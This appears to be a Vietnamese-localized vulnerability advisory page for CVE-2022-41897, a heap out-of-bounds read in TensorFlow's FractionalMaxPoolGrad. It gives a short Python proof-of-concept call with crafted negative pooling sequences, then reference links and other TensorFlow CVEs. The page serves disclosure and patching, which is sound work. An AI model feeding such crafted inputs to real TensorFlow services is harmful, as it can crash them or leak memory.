`FractionalMaxPoolGrad` Heap out of bounds read

Mô tả

import tensorflow as tf
tf.raw_ops.FractionMaxPoolGrad(
	orig_input = [[[[1, 1, 1, 1, 1]]]],
    orig_output = [[[[1, 1, 1]]]],
    out_backprop = [[[[3], [3], [6]]]],
    row_pooling_sequence = [-0x4000000, 1, 1], 
    col_pooling_sequence = [-0x4000000, 1, 1], 
    overlapping = False
 )

Tham khảo

• tensorflow/tensorflow security advisory · WEB
• nvd.nist.gov/vuln/detail/CVE-2022-41897 · ADVISORY
• tensorflow/tensorflow commit d71090c · WEB
• tensorflow/tensorflow · PACKAGE
• tensorflow/tensorflow · WEB
• pypi.org/project/tensorflow · PACKAGE
• GitHub Advisory GHSA-f2w8-jw48-fr7j · ADVISORY
• pypi.org/project/tensorflow-cpu · PACKAGE
• pypi.org/project/tensorflow-gpu · PACKAGE

Lỗ hổng khác của tensorflow

• CVE-2023-33976CAO 7.5TensorFlow is an end-to-end open source platform for machine learning. `array_ops.upper_bound` causes a segfault when not given a rank 2 ten…
• CVE-2023-25661TRUNG BÌNH 6.5TensorFlow is an Open Source Machine Learning Framework. In versions prior to 2.11.1 a malicious invalid input crashes a tensorflow model (C…
• CVE-2023-27579CAO 7.5TensorFlow is an end-to-end open source platform for machine learning. Constructing a tflite model with a paramater `filter_input_channel` o…
• CVE-2023-25801CAO 7.8TensorFlow is an open source machine learning platform. Prior to versions 2.12.0 and 2.11.1, `nn_ops.fractional_avg_pool_v2` and `nn_ops.fra…
• CVE-2023-25676CAO 7.5TensorFlow is an open source machine learning platform. When running versions prior to 2.12.0 and 2.11.1 with XLA, `tf.raw_ops.ParallelConca…